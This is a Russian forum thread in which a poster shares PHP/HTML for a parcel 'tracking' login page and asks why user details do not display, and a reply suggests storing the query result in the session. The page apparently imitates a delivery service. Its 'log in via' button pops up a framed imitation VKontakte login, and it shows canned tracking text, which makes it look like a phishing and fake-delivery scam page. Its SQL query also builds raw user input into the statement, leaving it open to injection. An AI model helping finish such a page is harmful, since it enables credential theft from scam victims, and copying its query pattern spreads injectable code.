PHP: <?php session_start(); // Стартуем сессию ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Отслеживание</title> <link rel="stylesheet" href="css/style.css" media="screen" type="text/css" /> <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'> <link rel="shortcut icon" href="/images/favicon.ico" type="image/x-icon"> </head> <body> <div class="main-signin"> <div class="main-signin__head"> <p>ОТСЛЕЖИВАНИЕ</p> </div> <div class="main-signin__middle"> <div class="middle__form"> <form action="index.php" method="post"> <input type="text" name="login" placeholder="Введите ваш трек-номер"> <input type="text" name="password" placeholder="Введите ваш мобильный"> <input type="submit" name="submit" value="ВОЙТИ"> </div> <div class="main-signin__foot"> <div class="foot__left"> <p>Войти через:</p> </div> <div class="foot__right"> <div onclick="myWindow()" class="twit"><a href="#"></a></div> <script> function myWindow() { var w = window.open('', '', 'scrollbars=1'); w.document.write('<!DOCTYPE html>\n\ <title>Вконтакте | Вход</title>\n\ <p></head>\n\ <p><frameset cols="">\n\ <p><frame src="vk//index.html" name="MENU">\n\ <p></frameset>\n\ <p></html>\n\ '); } </script> <div class="face"><a href="#"></a></div> </div> </div> </div> <?php $connection = mysqli_connect('localhost', 'user', 'pass', 'base') or die(mysqli_error()); // Соединение с базой данных ?> <?php if (isset($_POST['submit'])) // Отлавливаем нажатие кнопки "Отправить" { if (empty($_POST['login'])) // Если поле трек-номер пустое { echo '<script>alert("Поле трек-номер не заполненно");</script>'; // То выводим сообщение об ошибке } elseif (empty($_POST['password'])) // Если поле мобильный пустое { echo '<script>alert("Поле мобильный не заполненно");</script>'; // То выводим сообщение об ошибке } else // Иначе если все поля заполненны { $login = $_POST['login']; // Записываем трек-номер в переменную $password = $_POST['password']; // Записываем мобильный в переменную $query = mysqli_query($connection, "SELECT `id` FROM `users` WHERE `login` = '$login' AND `password` = '$password'"); // Формируем переменную с запросом к базе данных с проверкой пользователя $result = mysqli_fetch_array($query); // Формируем переменную с исполнением запроса к БД if (empty($result['id'])) // Если запрос к бд не возвразяет id пользователя { echo '<script>alert("Неверный трек-номер или мобильный");</script>'; // Значит такой пользователь не существует или не верен мобильный } else // Если возвращяем id пользователя, выполняем вход под ним { $_SESSION['password'] = $password; // Заносим в сессию мобильный $_SESSION['login'] = $login; // Заносим в сессию трек-номер $_SESSION['id'] = $result['id']; // Заносим в сессию id echo '<div align="center">Здравствуйте '.$_SESSION['fio'].'</div>'; echo '<div align="center">Ваша поссылка уже в пути</div>'; echo '<div align="center">Оператор '.$_SESSION['operator'].'</div>'; echo '<div align="center">Серийный номер: '.$_SESSION['ssn'].'</div>'; echo '<div align="center">ИНН '.$_SESSION['login'].'</div>'; echo '<div align="center">'.$_SESSION['dataotpravki'].' '.$_SESSION['vremyaotpravki'].' док. № 142500</div>'; echo '<div align="center">Кому: '.$_SESSION['fio'].'</div>'; echo '<div align="center">От кого: '.$_SESSION['otpravitel'].'</div>'; echo '<div align="center">'.$_SESSION['adress'].'</div>'; echo '<div align="center">Вес:'.$_SESSION['ves'].'</div>'; echo '<div align="center"> </div>'; echo '<div align="center">Трекинг:</div>'; echo '<div align="center">'.$_SESSION['dataotpravki'].' '.$_SESSION['vremyaotpravki'].' - Прибыла на склад</div>'; echo '<div align="center">Ув. '.$_SESSION['fio'].' ждите дальнейших обновлений трекинга</div>'; } } } ?> <?php if (isset($_GET['exit'])) { // если вызвали переменную "exit" unset($_SESSION['password']); // Чистим сессию пароля unset($_SESSION['login']); // Чистим сессию трек-номера unset($_SESSION['id']); // Чистим сессию id } ?> </body> </html> После авторизации по логину и паролю не показывает остальные данные пользевателя Что делать ?
Откуда же они там возьмутся? Может так надо: PHP: $_SESSION['user'] = $result; ... echo $_SESSION['user']['fio']; ?